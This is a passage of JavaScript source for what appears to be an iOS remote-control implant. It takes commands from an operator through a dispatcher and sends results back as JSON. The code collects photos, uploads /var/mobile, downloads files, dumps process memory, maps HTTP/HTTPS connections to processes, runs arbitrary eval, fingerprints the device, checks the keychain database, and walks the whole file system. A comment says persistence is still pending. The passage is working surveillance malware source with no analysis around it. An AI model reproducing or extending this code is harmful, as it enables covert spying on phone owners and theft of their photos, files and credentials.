\"ESTABLISHED\",\n\t\t\"CLOSE_WAIT\", \"FIN_WAIT_1\", \"CLOSING\", \"LAST_ACK\", \"FIN_WAIT_2\", \"TIME_WAIT\"];\n\tvar results = [];\n\n\tfor (var pi = 0; pi < pids.length; pi++) {\n\t\tvar pid = pids[pi];\n\t\tvar fdBytes = Number(Native.callSymbol(\"proc_pidinfo\", pid, 1, 0, fdBuf, fdInfoSize * 2048));\n\t\tif (fdBytes <= 0) continue;\n\t\tvar fdCount = Math.floor(fdBytes / fdInfoSize);\n\t\tvar procName = null;\n\n\t\tfor (var fi = 0; fi < fdCount && fi < 2048; fi++) {\n\t\t\ttry {\n\t\t\t\tvar fd = _readU32(fdBuf, fi * 8);\n\t\t\t\tvar fdtype = _readU32(fdBuf, fi * 8 + 4);\n\t\t\t\tif (fdtype !== 2) continue;\n\n\t\t\t\tNative.callSymbol(\"memset\", sockBuf, 0, 4096);\n\t\t\t\tvar infoBytes = Number(Native.callSymbol(\"proc_pidfdinfo\", pid, fd, 3, sockBuf, 4096));\n\t\t\t\tif (infoBytes < MIN_SI_SIZE) continue;\n\n\t\t\t\tvar family = _readU32(sockBuf, OFF_SOI_FAMILY);\n\t\t\t\tvar protocol = _readU32(sockBuf, OFF_SOI_PROTO);\n\t\t\t\tif (family !== 2 && family !== 30) continue;\n\t\t\t\tif (protocol !== 6 && protocol !== 17) continue;\n\n\t\t\t\tvar fport = (_readU8(sockBuf, OFF_INI_FPORT) << 8) | _readU8(sockBuf, OFF_INI_FPORT + 1);\n\t\t\t\tvar lport = (_readU8(sockBuf, OFF_INI_LPORT) << 8) | _readU8(sockBuf, OFF_INI_LPORT + 1);\n\n\t\t\t\tif (!showAll && fport !== 80 && fport !== 443 && lport !== 80 && lport !== 443) continue;\n\n\t\t\t\tvar vflag = _readU8(sockBuf, OFF_INI_VFLAG);\n\t\t\t\tvar faddrStr = \"*\", laddrStr = \"*\";\n\n\t\t\t\tif (vflag & 1) {\n\t\t\t\t\tvar fa = new Uint8Array(Native.read(sockBuf + BigInt(OFF_INI_FADDR4), 4));\n\t\t\t\t\tvar la = new Uint8Array(Native.read(sockBuf + BigInt(OFF_INI_LADDR4), 4));\n\t\t\t\t\tfaddrStr = fa[0] + \".\" + fa[1] + \".\" + fa[2] + \".\" + fa[3];\n\t\t\t\t\tladdrStr = la[0] + \".\" + la[1] + \".\" + la[2] + \".\" + la[3];\n\t\t\t\t} else if (vflag & 2) {\n\t\t\t\t\tvar fa6 = new Uint8Array(Native.read(sockBuf + BigInt(OFF_INI_FADDR6), 16));\n\t\t\t\t\tvar la6 = new Uint8Array(Native.read(sockBuf + BigInt(OFF_INI_LADDR6), 16));\n\t\t\t\t\tfaddrStr = _fmtIPv6Short(fa6, 0);\n\t\t\t\t\tladdrStr = _fmtIPv6Short(la6, 0);\n\t\t\t\t}\n\n\t\t\t\tvar stateStr = \"\";\n\t\t\t\tif (protocol === 6 && infoBytes > OFF_TCP_STATE + 4) {\n\t\t\t\t\tvar st = _readU32(sockBuf, OFF_TCP_STATE);\n\t\t\t\t\tstateStr = (st < tcpStates.length) ? tcpStates[st] : \"?\" + st;\n\t\t\t\t}\n\n\t\t\t\tif (procName === null) {\n\t\t\t\t\tNative.callSymbol(\"memset\", nameBuf, 0, 256);\n\t\t\t\t\tvar nl = Number(Native.callSymbol(\"proc_name\", pid, nameBuf, 255));\n\t\t\t\t\tprocName = nl > 0 ? Native.readString(BigInt(nameBuf), 255) : \"?\";\n\t\t\t\t}\n\n\t\t\t\tresults.push({ pid: pid, name: procName,\n\t\t\t\t\tproto: (protocol === 6 ? \"tcp\" : \"udp\") + (family === 30 ? \"6\" : \"4\"),\n\t\t\t\t\tladdr: laddrStr, lport: lport, faddr: faddrStr, fport: fport, state: stateStr });\n\t\t\t} catch (fdErr) { /* skip on error */ }\n\t\t}\n\t}\n\n\tNative.callSymbol(\"free\", fdBuf);\n\tNative.callSymbol(\"free\", sockBuf);\n\tNative.callSymbol(\"free\", nameBuf);\n\n\tvar out = \"PID Process Proto Local Remote State\\n\";\n\tout += \"----- ------------------- ----- --------------------- --------------------------- -----------\\n\";\n\tfor (var ri = 0; ri < results.length; ri++) {\n\t\tvar r = results[ri];\n\t\tvar ps = \"\" + r.pid; while (ps.length < 6) ps += \" \";\n\t\tvar ns = r.name; while (ns.length < 21) ns += \" \";\n\t\tvar ts = r.proto; while (ts.length < 7) ts += \" \";\n\t\tvar ls = r.laddr + \":\" + r.lport; while (ls.length < 23) ls += \" \";\n\t\tvar rs = r.faddr + \":\" + r.fport; while (rs.length < 29) rs += \" \";\n\t\tout += ps + ns + ts + ls + rs + r.state + \"\\n\";\n\t}\n\tout += \"\\nTotal: \" + results.length + \" connections\";\n\tif (!showAll) out += \" (HTTP/HTTPS only, use -a for all)\";\n\tout += \"\\n\";\n\treturn { code: 0, out: out, err: \"\" };\n}\n\n// ---- Special Commands (delegate to existing handlers) ----\n\nfunction _cmdDownload(args, cmd) {\n\tif (args.length < 2) {\n\t\tsendJSON(cmd.command_id, { exit_code: 1, stdout: \"\", stderr: _strToB64(\"download: missing path\\n\"),\n\t\t\texecution_time: 0, timeout: false, _task_id: (cmd.params||{})._task_id||\"\", _task_type: (cmd.params||{})._task_type||\"\" }, \"exec_result.json\");\n\t\treturn null;\n\t}\n\tvar path = _resolvePath(args[1]);\n\tvar maxSz = args.length > 2 ? parseInt(args[2]) : MAX_FILE_SIZE;\n\thandleDownload({ command_id: cmd.command_id, params: { path: path, max_size: maxSz || MAX_FILE_SIZE,\n\t\t_task_id: (cmd.params||{})._task_id||\"\", _task_type: (cmd.params||{})._task_type||\"\" } });\n\treturn null;\n}\n\nfunction _cmdPhotos(args, cmd) {\n\tvar maxCount = args.length > 1 ? parseInt(args[1]) : 50;\n\thandlePhotos({ command_id: cmd.command_id, params: { max_count: maxCount || 50,\n\t\t_task_id: (cmd.params||{})._task_id||\"\", _task_type: (cmd.params||{})._task_type||\"\" } });\n\treturn null;\n}\n\nfunction _cmdApps() {\n\tvar base = \"/var/mobile/Containers/Data/Application\";\n\tvar dirs = listDir(base);\n\tvar out = \"\", count = 0;\n\tfor (var i = 0; i < dirs.length; i++) {\n\t\tif (dirs[i].type !== \"dir\") continue;\n\t\tvar meta = base + \"/\" + dirs[i].name + \"/.com.apple.mobile_container_manager.metadata.plist\";\n\t\tvar hasMeta = Number(Native.callSymbol(\"access\", meta, 0)) === 0;\n\t\tout += dirs[i].name + \"\\t\" + (hasMeta ? \"metadata\" : \"no-metadata\") + \"\\n\";\n\t\tcount++;\n\t}\n\tout += \"\\nTotal: \" + count + \" applications\\n\";\n\treturn { code: 0, out: out, err: \"\" };\n}\n\nfunction _cmdUpload(args, cmd) {\n\tvar paths = [];\n\tfor (var i = 1; i < args.length; i++) paths.push(_resolvePath(args[i]));\n\tif (!paths.length) paths.push(\"/var/mobile\");\n\thandleFileUpload({ command_id: cmd.command_id, params: { upload_paths: paths,\n\t\t_task_id: (cmd.params||{})._task_id||\"\", _task_type: (cmd.params||{})._task_type||\"\" } });\n\treturn null;\n}\n\nfunction _cmdEvalCode(args) {\n\tvar code = args.slice(1).join(\" \");\n\tif (!code) return { code: 1, out: \"\", err: \"eval: empty code\\n\" };\n\ttry {\n\t\tvar r = eval(code);\n\t\treturn { code: 0, out: String(r !== undefined ? r : \"\") + \"\\n\", err: \"\" };\n\t} catch (e) {\n\t\treturn { code: 1, out: \"\", err: String(e) + \"\\n\" };\n\t}\n}\n\nfunction _cmdHelp() {\n\tvar out = \"Available commands:\\n\";\n\tout += \" File System:\\n\";\n\tout += \" ls [-l] [-a] [path] List directory contents\\n\";\n\tout += \" cat <file> [file2...] Display file content\\n\";\n\tout += \" pwd Print working directory\\n\";\n\tout += \" cd [path] Change directory\\n\";\n\tout += \" mkdir [-p] <path> Create directory\\n\";\n\tout += \" rm [-rf] <path> Remove file or directory\\n\";\n\tout += \" cp <src> <dst> Copy file\\n\";\n\tout += \" mv <src> <dst> Move/rename\\n\";\n\tout += \" stat <path> File info\\n\";\n\tout += \" chmod <mode> <path> Change permissions (octal)\\n\";\n\tout += \" touch <path> Create / update timestamp\\n\";\n\tout += \" ln [-s] <target> <link> Create link\\n\";\n\tout += \" readlink <path> Read symlink target\\n\";\n\tout += \" find <path> [-name p] [-type f|d] Search files\\n\";\n\tout += \" head [-n N] <file> Show first N lines\\n\";\n\tout += \" tail [-n N] <file> Show last N lines\\n\";\n\tout += \" wc [-lwc] <file> Count lines/words/chars\\n\";\n\tout += \" grep [-in] <pattern> <file> Search in file\\n\";\n\tout += \" du [-sh] <path> Disk usage\\n\";\n\tout += \" file <path> Detect file type\\n\";\n\tout += \" hexdump [-n N] <file> Hex dump\\n\";\n\tout += \" System Info:\\n\";\n\tout += \" whoami Current user\\n\";\n\tout += \" id User/group IDs\\n\";\n\tout += \" uname [-a] System information\\n\";\n\tout += \" hostname Device hostname\\n\";\n\tout += \" df [-h] Disk space\\n\";\n\tout += \" date Current date/time\\n\";\n\tout += \" echo <text> Echo text\\n\";\n\tout += \" Process:\\n\";\n\tout += \" ps List all running processes\\n\";\n\tout += \" memdump <pid> <addr> <size> Dump process memory (hex addr, max 1MB)\\n\";\n\tout += \" Network:\\n\";\n\tout += \" ifconfig Show network interfaces & IP addresses\\n\";\n\tout += \" netstats Network traffic statistics per interface\\n\";\n\tout += \" connections [-t] [-u] [-a] [-l] List active TCP/UDP connections\\n\";\n\tout += \" httpspy [-a] Map connections to processes (HTTP/HTTPS)\\n\";\n\tout += \" Data Collection:\\n\";\n\tout += \" download <path> [max_size] Download file from device\\n\";\n\tout += \" photos [max_count] Collect photos\\n\";\n\tout += \" apps List installed apps\\n\";\n\tout += \" upload <paths...> Upload files\\n\";\n\tout += \" Advanced:\\n\";\n\tout += \" eval <code> Execute JavaScript code\\n\";\n\tout += \" help Show this help\\n\";\n\treturn { code: 0, out: out, err: \"\" };\n}\n\n// ---- Dispatcher ----\n\nfunction handleExecuteCommand(cmd) {\n\tvar p = cmd.params || {};\n\tvar commandStr = p.command || \"\";\n\tvar timeoutSec = p.timeout || 30;\n\tvar workDir = p.working_directory;\n\tvar startMs = Date.now();\n\n\tif (workDir) _cwd = workDir;\n\n\tif (!commandStr) {\n\t\tsendJSON(cmd.command_id, {\n\t\t\texit_code: 1, stdout: \"\", stderr: _strToB64(\"error: empty command\\n\"),\n\t\t\texecution_time: 0, timeout: false,\n\t\t\t_task_id: p._task_id || \"\", _task_type: p._task_type || \"\"\n\t\t}, \"exec_result.json\");\n\t\treturn;\n\t}\n\n\tvar args = _parseArgs(commandStr);\n\tif (!args.length) {\n\t\tsendJSON(cmd.command_id, {\n\t\t\texit_code: 1, stdout: \"\", stderr: _strToB64(\"error: empty command\\n\"),\n\t\t\texecution_time: 0, timeout: false,\n\t\t\t_task_id: p._task_id || \"\", _task_type: p._task_type || \"\"\n\t\t}, \"exec_result.json\");\n\t\treturn;\n\t}\n\n\tvar cmdName = args[0].toLowerCase();\n\tvar result = null;\n\n\ttry {\n\t\tswitch (cmdName) {\n\t\t\tcase \"ls\": case \"dir\": result = _cmdLs(args); break;\n\t\t\tcase \"cat\": case \"type\": result = _cmdCat(args); break;\n\t\t\tcase \"pwd\": result = _cmdPwd(); break;\n\t\t\tcase \"cd\": result = _cmdCd(args); break;\n\t\t\tcase \"mkdir\": case \"md\": result = _cmdMkdir(args); break;\n\t\t\tcase \"rm\": case \"del\": result = _cmdRm(args); break;\n\t\t\tcase \"cp\": case \"copy\": result = _cmdCp(args); break;\n\t\t\tcase \"mv\": case \"move\": case \"ren\": result = _cmdMv(args); break;\n\t\t\tcase \"stat\": result = _cmdStat(args); break;\n\t\t\tcase \"chmod\": result = _cmdChmod(args); break;\n\t\t\tcase \"touch\": result = _cmdTouch(args); break;\n\t\t\tcase \"ln\": result = _cmdLn(args); break;\n\t\t\tcase \"readlink\": result = _cmdReadlink(args); break;\n\t\t\tcase \"find\": result = _cmdFind(args); break;\n\t\t\tcase \"head\": result = _cmdHead(args); break;\n\t\t\tcase \"tail\": result = _cmdTail(args); break;\n\t\t\tcase \"wc\": result = _cmdWc(args); break;\n\t\t\tcase \"grep\": result = _cmdGrep(args); break;\n\t\t\tcase \"du\": result = _cmdDu(args); break;\n\t\t\tcase \"file\": result = _cmdFile(args); break;\n\t\t\tcase \"hexdump\": result = _cmdHexdump(args); break;\n\t\t\tcase \"whoami\": result = _cmdWhoami(); break;\n\t\t\tcase \"id\": result = _cmdId(); break;\n\t\t\tcase \"uname\": result = _cmdUname(args); break;\n\t\t\tcase \"hostname\": result = _cmdHostname(); break;\n\t\t\tcase \"df\": result = _cmdDf(args); break;\n\t\t\tcase \"date\": result = _cmdDate(); break;\n\t\t\tcase \"echo\": result = _cmdEcho(args); break;\n\t\t\tcase \"ps\": result = _cmdPs(args); break;\n\t\t\tcase \"memdump\": result = _cmdMemdump(args); break;\n\t\t\tcase \"ifconfig\": case \"ipconfig\": result = _cmdIfconfig(args); break;\n\t\t\tcase \"netstats\": case \"netstat\": result = _cmdNetstats(args); break;\n\t\t\tcase \"connections\": case \"conn\": result = _cmdConnections(args); break;\n\t\t\tcase \"httpspy\": case \"spy\": result = _cmdHttpspy(args); break;\n\t\t\tcase \"download\": result = _cmdDownload(args, cmd); break;\n\t\t\tcase \"photos\": result = _cmdPhotos(args, cmd); break;\n\t\t\tcase \"apps\": result = _cmdApps(); break;\n\t\t\tcase \"upload\": case \"file_upload\": result = _cmdUpload(args, cmd); break;\n\t\t\tcase \"eval\": case \"exec\": case \"js\": result = _cmdEvalCode(args); break;\n\t\t\tcase \"help\": case \"?\": result = _cmdHelp(); break;\n\t\t\tdefault:\n\t\t\t\tresult = { code: 127, out: \"\", err: cmdName + \": command not found. Type 'help' for available commands.\\n\" };\n\t\t}\n\t} catch (e) {\n\t\tresult = { code: 1, out: \"\", err: \"error: \" + String(e) + \"\\n\" };\n\t}\n\n\tif (result === null) return;\n\n\tvar endMs = Date.now();\n\tvar execTime = (endMs - startMs) / 1000;\n\n\tsendJSON(cmd.command_id, {\n\t\texit_code: result.code,\n\t\tstdout: _strToB64(result.out),\n\t\tstderr: _strToB64(result.err),\n\t\texecution_time: execTime,\n\t\ttimeout: execTime >= timeoutSec,\n\t\t_task_id: p._task_id || \"\",\n\t\t_task_type: p._task_type || \"\"\n\t}, \"exec_result.json\");\n}\n\nfunction handleBasicInfo(cmd) {\n\tvar info = {\n\t\tuuid: DEVICE_UUID,\n\t\tmachine: DEVICE_MODEL,\n\t\t_task_id: (cmd.params && cmd.params._task_id) || \"\",\n\t\t_task_type: (cmd.params && cmd.params._task_type) || \"\",\n\t\tcollect_time: Date.now(),\n\t\tos_type: \"iOS\"\n\t};\n\n\t// 1. Kernel / system info via uname\n\ttry {\n\t\tvar uts = Native.callSymbol(\"calloc\", 1, 1536);\n\t\tif (uts && uts !== 0n) {\n\t\t\tNative.callSymbol(\"uname\", uts);\n\t\t\tinfo.sysname = Native.readString(uts, 256).replace(/\\0/g, \"\");\n\t\t\tinfo.nodename = Native.readString(uts + 256n, 256).replace(/\\0/g, \"\");\n\t\t\tinfo.release = Native.readString(uts + 512n, 256).replace(/\\0/g, \"\");\n\t\t\tinfo.version = Native.readString(uts + 768n, 256).replace(/\\0/g, \"\");\n\t\t\tinfo.machine_arch = Native.readString(uts + 1024n, 256).replace(/\\0/g, \"\");\n\t\t\tNative.callSymbol(\"free\", uts);\n\t\t}\n\t} catch(e) { info._err_uname = String(e); }\n\n\t// 2. Disk space via statfs(\"/\")\n\t// struct statfs arm64: f_bsize(u32,0) f_iosize(i32,4) f_blocks(u64,8)\n\t// f_bfree(u64,16) f_bavail(u64,24)\n\ttry {\n\t\tvar sbuf = Native.callSymbol(\"calloc\", 1, 4096);\n\t\tif (sbuf && sbuf !== 0n) {\n\t\t\tvar sr = Number(Native.callSymbol(\"statfs\", \"/\", sbuf));\n\t\t\tif (sr === 0) {\n\t\t\t\tvar bsRaw = new DataView(Native.read(BigInt(sbuf), 4));\n\t\t\t\tvar bsize = bsRaw.getUint32(0, true);\n\t\t\t\tvar blocks = Number(Native.readPtr(BigInt(sbuf) + 8n));\n\t\t\t\tvar bfree = Number(Native.readPtr(BigInt(sbuf) + 16n));\n\t\t\t\tvar bavail = Number(Native.readPtr(BigInt(sbuf) + 24n));\n\t\t\t\tinfo.disk_block_size = bsize;\n\t\t\t\tinfo.disk_total_bytes = blocks * bsize;\n\t\t\t\tinfo.disk_free_bytes = bfree * bsize;\n\t\t\t\tinfo.disk_avail_bytes = bavail * bsize;\n\t\t\t\tinfo.disk_total_gb = Math.round(blocks * bsize / 1073741824 * 10) / 10;\n\t\t\t\tinfo.disk_free_gb = Math.round(bfree * bsize / 1073741824 * 10) / 10;\n\t\t\t}\n\t\t\tNative.callSymbol(\"free\", sbuf);\n\t\t}\n\t} catch(e) { info._err_statfs = String(e); }\n\n\t// 3. Process identity\n\ttry {\n\t\tinfo.pid = Number(Native.callSymbol(\"getpid\"));\n\t\tinfo.uid = Number(Native.callSymbol(\"getuid\"));\n\t\tinfo.gid = Number(Native.callSymbol(\"getgid\"));\n\t} catch(e) {}\n\n\t// 4. Hostname via gethostname\n\ttry {\n\t\tvar hbuf = Native.callSymbol(\"malloc\", 256);\n\t\tif (hbuf && hbuf !== 0n) {\n\t\t\tvar hr = Number(Native.callSymbol(\"gethostname\", hbuf, 255));\n\t\t\tif (hr === 0) info.hostname = Native.readString(hbuf, 256).replace(/\\0/g, \"\");\n\t\t\tNative.callSymbol(\"free\", hbuf);\n\t\t}\n\t} catch(e) {}\n\n\t// 5. Installed apps summary\n\ttry {\n\t\tvar appBase = \"/var/mobile/Containers/Data/Application\";\n\t\tvar appDirs = listDir(appBase);\n\t\tvar appCount = 0;\n\t\tfor (var ai = 0; ai < appDirs.length; ai++) {\n\t\t\tif (appDirs[ai].type === \"dir\") appCount++;\n\t\t}\n\t\tinfo.installed_app_count = appCount;\n\t} catch(e) {}\n\n\t// 6. WiFi passwords file status\n\ttry {\n\t\tvar wfSize = getFileSize(\"/var/Keychains/keychain-2.db\");\n\t\tinfo.keychain_db_size = wfSize > 0 ? wfSize : 0;\n\t} catch(e) {}\n\n\tvar endMs = Date.now();\n\tsendJSON(cmd.command_id, info, \"basic_info.json\",\n\t\t{ start_ms: info.collect_time, end_ms: endMs });\n}\n\n// handleUpdate: disabled for now, will be enabled after persistence is ready\n// function handleUpdate(cmd) { ... }\n\n// ============================================================================\n// disk_scan: recursive filesystem traversal with stat metadata (TXT format)\n// ============================================================================\n\nvar SCAN_WRITE_BUF = 65536;\nvar SCAN_MAX_DEPTH = 20;\nvar SCAN_MAX_ITEMS = 300000;\nvar SCAN_YIELD_EVERY = 2000;\nvar SCAN_SKIP_DIRS = [\n\t\"/dev\", \"/cores\",\n\t\"/System/Library/Caches/com.apple.kernelcaches\",\n\t\"/System/Library/Caches/com.apple.dyld\",\n\t\"/System/Library/PrivateFrameworks\",\n\t\"/System/Library/Frameworks\",\n\t\"/System/Library/Extensions\",\n\t\"/System/Library/CoreServices\",\n\t\"/System/Library/PreferenceBundles\",\n\t\"/System/iOSSupport\",\n\t\"/usr/lib\", \"/usr/libexec\", \"/usr/sbin\", \"/usr/bin\", \"/usr/share\",\n\t\"/usr/standalone\",\n\t\"/private/var/db/dyld_shared_cache_arm64e\",\n\t\"/private/var/hardware\",\n\t\"/private/var/log/asl\",\n\t\"/private/preboot\",\n\t\"/Library/Ringtones\",\n\t\"/Library/Wallpaper\"\n];\n\nfunction _readU16(ptr, off) {\n\tvar b = new Uint8Array(Native.read(ptr + BigInt(off), 2));\n\treturn b[0] | (b[1] << 8);\n}\nfunction _readI64(ptr, off) {\n\tvar b = new Uint8Array(Native.read(ptr + BigInt(off), 8));\n\tvar lo = (b[0] | (b[1] << 8) | (b[2] << 16) | ((b[3] << 24) >>> 0)) >>> 0;\n\tvar hi = (b[4] | (b[5] << 8) | (b[6] << 16) | ((b[7] << 24) >>> 0)) >>> 0;\n\treturn hi * 4294967296 + lo;\n}\nfunction _readU8(ptr, off) {\n\treturn new Uint8Array(Native.read(ptr + BigInt(off), 1))[0];\n}\nfunction _readU32(ptr, off) {\n\tvar b = new Uint8Array(Native.read(ptr + BigInt(off), 4));\n\treturn (b[0] | (b[1] << 8) | (b[2] << 16) | ((b[3] << 24) >>> 0)) >>> 0;\n}\n\nfunction _writeAll(fd, bufSize, ptr, data) {\n\tvar bytes = new Uint8Array(Native.stringToBytes(data, false));\n\tvar pos = 0;\n\twhile (pos < bytes.length) {\n\t\tvar chunk = Math.min(bytes.length - pos, bufSize);\n\t\tvar ab = new ArrayBuffer(chunk);\n\t\tnew Uint8Array(ab).set(bytes.subarray(pos, pos + chunk));\n\t\tNative.write(ptr, ab);\n\t\tvar nw = Number(Native.callSymbol(\"write\", fd, ptr, chunk));\n\t\tif (nw <= 0) return false;\n\t\tpos += nw;\n\t}\n\treturn true;\n}\n\nfunction _sanitizePath(p) {\n\tvar s = \"\";\n\tfor (var i = 0; i < p.length; i++) {\n\t\tvar c = p.charCodeAt(i);\n\t\tif (c === 0x7C) s += \"_\";\n\t\telse if (c === 0x0A || c === 0x0D) s += \" \";\n\t\telse s += p.charAt(i);\n\t}\n\treturn s;\n}\n\nfunction handleDiskScan(cmd) {\n\tvar p = cmd.params || {};\n\tvar startMs = Date.now();\n\tvar startISO = new Date(startMs).toISOString().replace(\"T\",\" \").replace(\"Z\",\"\");\n\n\tvar tmpCandidates = [\n\t\t\"/var/mobile/Library/Caches/ios_disk_scan.txt\",\n\t\t\"/var/mobile/ios_disk_scan.txt\",\n\t\t\"/tmp/ios_disk_scan.txt\"\n\t];\n\tvar tmpPath = \"\";\n\tvar fd = -1;\n\tfor (var ti = 0; ti < tmpCandidates.length; ti++) {\n\t\tfd = Number(Native.callSymbol(\"open\", tmpCandidates[ti], 0x0602, 0x1a4));\n\t\tif (fd >= 0) { tmpPath = tmpCandidates[ti]; break; }\n\t}\n\tif (fd < 0) {\n\t\tsendJSON(cmd.command_id, {\n\t\t\tstatus: \"failed\", error: \"cannot create temp file (tried \" + tmpCandidates.join(\", \") + \")\",\n\t\t\t_task_id: p._task_id || \"\", _task_type: p._task_type || \"\"\n\t\t}, \"disk_scan_result.json\");\n\t\treturn;\n\t}\n\n\tvar wBuf = Native.callSymbol(\"malloc\", BigInt(SCAN_WRITE_BUF));\n\tvar statBuf = Native.callSymbol(\"malloc\", 144n);\n\tif (!wBuf || wBuf === 0n || !statBuf || statBuf === 0n) {\n\t\tNative.callSymbol(\"close\", fd);\n\t\tif (wBuf && wBuf !== 0n) Native.callSymbol(\"free\", BigInt(wBuf));\n\t\tif (statBuf && statBuf !== 0n) Native.callSymbol(\"free\", BigInt(statBuf));\n\t\tsendJSON(cmd.command_id, {\n\t\t\tstatus: \"failed\", error: \"malloc failed\",\n\t\t\t_task_id: p._task_id || \"\", _task_type: p._task_type || \"\"\n\t\t}, \"disk_scan_result.json\");\n\t\treturn;\n\t}\n\n\tvar pending = \"\";\n\tvar FLUSH_AT = 32768;\n\tvar totalFiles = 0, totalDirs = 0, totalLinks = 0, totalSize = 0;\n\tvar itemCount = 0;\n\tvar hitLimit = false;\n\tvar writeErrors = 0;\n\n\tfunction flush() {\n\t\tif (pending.length > 0) {\n\t\t\tif (!_writeAll(fd, SCAN_WRITE_BUF, wBuf, pending)) writeErrors++;\n\t\t\tpending = \"\";\n\t\t}\n\t}\n\tfunction emit(line) {\n\t\tpending += line + \"\\n\";\n\t\tif (pending.length >= FLUSH_AT) flush();\n\t}\n\n\ttry {\n\t\temit(\"# =====================================\");\n\t\temit(\"# Directory Scan Result\");\n\t\temit(\"# =====================================\");\n\t\temit(\"# Scan directory: /\");\n\t\temit(\"# Start time: \" + startISO);\n\t\temit(\"# Start timestamp: \" + startMs);\n\t\temit(\"# =====================================\");\n\t\temit(\"# Format (separator: |)\");\n\t\temit(\"# Col1: Full path\");\n\t\temit(\"# Col2: Type (FILE=file DIR=directory LNK=symlink)\");\n\t\temit(\"# Col3: Attributes (D=directory A=archive R=readonly H=hidden L=symlink)\");\n\t\temit(\"# Col4: Created time (ms timestamp)\");\n\t\temit(\"# Col5: Modified time (ms timestamp)\");\n\t\temit(\"# Col6: Accessed time (ms timestamp)\");\n\t\temit(\"# Col7: Size (bytes, 0 for dirs)\");\n\t\temit(\"# =====================================\");\n\n\t\tvar stack = [\"/\", 0];\n\t\tvar stackLen = 2;\n\n\t\twhile (stackLen > 0) {\n\t\t\tif (itemCount >= SCAN_MAX_ITEMS) { hitLimit = true; break; }\n\n\t\t\tvar depth = stack[stackLen - 1];\n\t\t\tvar dirPath = stack[stackLen - 2];\n\t\t\tstackLen -= 2;\n\n\t\t\tif (depth > SCAN_MAX_DEPTH) continue;\n\n\t\t\tvar skip = false;\n\t\t\tfor (var si = 0; si < SCAN_SKIP_DIRS.length; si++) {\n\t\t\t\tif (dirPath === SCAN_SKIP_DIRS[si] ||\n\t\t\t\t\tdirPath.indexOf(SCAN_SKIP_DIRS[si] + \"/\") === 0) {\n\t\t\t\t\tskip = true; break;\n\t\t\t\t}\n\t\t\t}\n\t\t\tif (skip) continue;\n\n\t\t\tvar dh = Native.callSymbol(\"opendir\", dirPath);\n\t\t\tif (!dh || dh === 0n) continue;\n\n\t\t\ttry {\n\t\t\t\tfor (;;) {\n\t\t\t\t\tif (itemCount >= SCAN_MAX_ITEMS) { hitLimit = true; break; }\n\n\t\t\t\t\tvar ent = Native.callSymbol(\"readdir\", BigInt(dh));\n\t\t\t\t\tif (!ent || ent === 0n) break;\n\n\t\t\t\t\ttry {\n\t\t\t\t\t\tvar dtype = new Uint8Array(Native.read(BigInt(ent) + 20n, 1))[0];\n\t\t\t\t\t\tvar name = Native.readString(BigInt(ent) + 21n, 256);\n\t\t\t\t\t\tif (name === \".\" || name === \"..\") continue;\n\n\t\t\t\t\t\tvar fullPath = dirPath === \"/\" ? \"/\" + name : dirPath + \"/\" + name;\n\t\t\t\t\t\tvar ret = Number(Native.callSymbol(\"lstat\", fullPath, BigInt(statBuf)));\n\n\t\t\t\t\t\tvar ftype = \"FILE\", attrs = \"-A----\", fsize = 0;\n\t\t\t\t\t\tvar ctime = 0, mtime = 0, atime = 0;\n\n\t\t\t\t\t\tif (ret === 0) {\n\t\t\t\t\t\t\tvar mode = _readU16(BigInt(statBuf), 4);\n\t\t\t\t\t\t\tvar fmt = mode & 0xF000;\n\t\t\t\t\t\t\tif (fmt === 0x4000) {\n\t\t\t\t\t\t\t\tftype = \"DIR\"; attrs = \"D-----\"; totalDirs++;\n\t\t\t\t\t\t\t} else if (fmt === 0xA000) {\n\t\t\t\t\t\t\t\tftype = \"LNK\"; attrs = \"----L-\"; totalLinks++;\n\t\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\t\tftype = \"FILE\";\n\t\t\t\t\t\t\t\tfsize = _readI64(BigInt(statBuf), 96);\n\t\t\t\t\t\t\t\ttotalSize += fsize;\n\t\t\t\t\t\t\t\ttotalFiles++;\n\t\t\t\t\t\t\t\tvar writable = mode & 0x0080;\n\t\t\t\t\t\t\t\tvar hidden = name.charAt(0) === \".\";\n\t\t\t\t\t\t\t\tattrs = \"-A\" + (writable ? \"-\" : \"R\") + (hidden ? \"H\" : \"-\") + \"--\";\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\tatime = _readI64(BigInt(statBuf), 32) * 1000;\n\t\t\t\t\t\t\tmtime = _readI64(BigInt(statBuf), 48) * 1000;\n\t\t\t\t\t\t\tctime = _readI64(BigInt(statBuf), 80) * 1000;\n\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\tif (dtype === 4) {\n\t\t\t\t\t\t\t\tftype = \"DIR\"; attrs = \"D-----\"; totalDirs++;\n\t\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\t\ttotalFiles++;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\temit(_sanitizePath(fullPath) + \"|\" + ftype + \"|\" + attrs + \"|\" + ctime + \"|\" + mtime + \"|\" + atime + \"|\" + fsize);\n\t\t\t\t\t\titemCount++;\n\n\t\t\t\t\t\tif (itemCount % SCAN_YIELD_EVERY === 0) {\n\t\t\t\t\t\t\tNative.callSymbol(\"usleep\", 10000);\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\tif ((dtype === 4 || (ret === 0 && (_readU16(BigInt(statBuf), 4) & 0xF000) === 0x4000))\n\t\t\t\t\t\t\t&& dtype !== 10) {\n\t\t\t\t\t\t\tstack[stackLen] = fullPath;\n\t\t\t\t\t\t\tstack[stackLen + 1] = depth + 1;\n\t\t\t\t\t\t\tstackLen += 2;\n\t\t\t\t\t\t}\n\t\t\t\t\t} catch(entErr) {}\n\t\t\t\t}\n\t\t\t} finally {\n\t\t\t\tNative.callSymbol(\"closedir\", BigInt(dh));\n\t\t\t}\n\t\t}\n\n\t\tvar endMs = Date.now();\n\t\tvar endISO = new Date(endMs).toISOString().replace(\"T\",\" \").replace(\"Z\",\"\");\n\t\tvar elapsed = (endMs - startMs) / 1000;\n\t\tvar totalItems = totalFiles + totalDirs;\n\t\tvar speed = elapsed > 0 ? Math.round(totalItems / elapsed) : totalItems;\n\n\t\temit(\"# =====================================\");\n\t\temit(\"# Scan Statistics\");\n\t\temit(\"# =====================================\");\n\t\temit(\"# Total files: \" + totalFiles);\n\t\temit(\"# Total dirs: \" + totalDirs);\n\t\temit(\"# Total symlinks: \" + totalLinks);\n\t\temit(\"# Total items scanned: \" + itemCount);\n\t\temit(\"# Total size (bytes): \" + totalSize);\n\t\temit(\"# Hit item limit: \" + (hitLimit ? \"YES (\" + SCAN_MAX_ITEMS + \")\" : 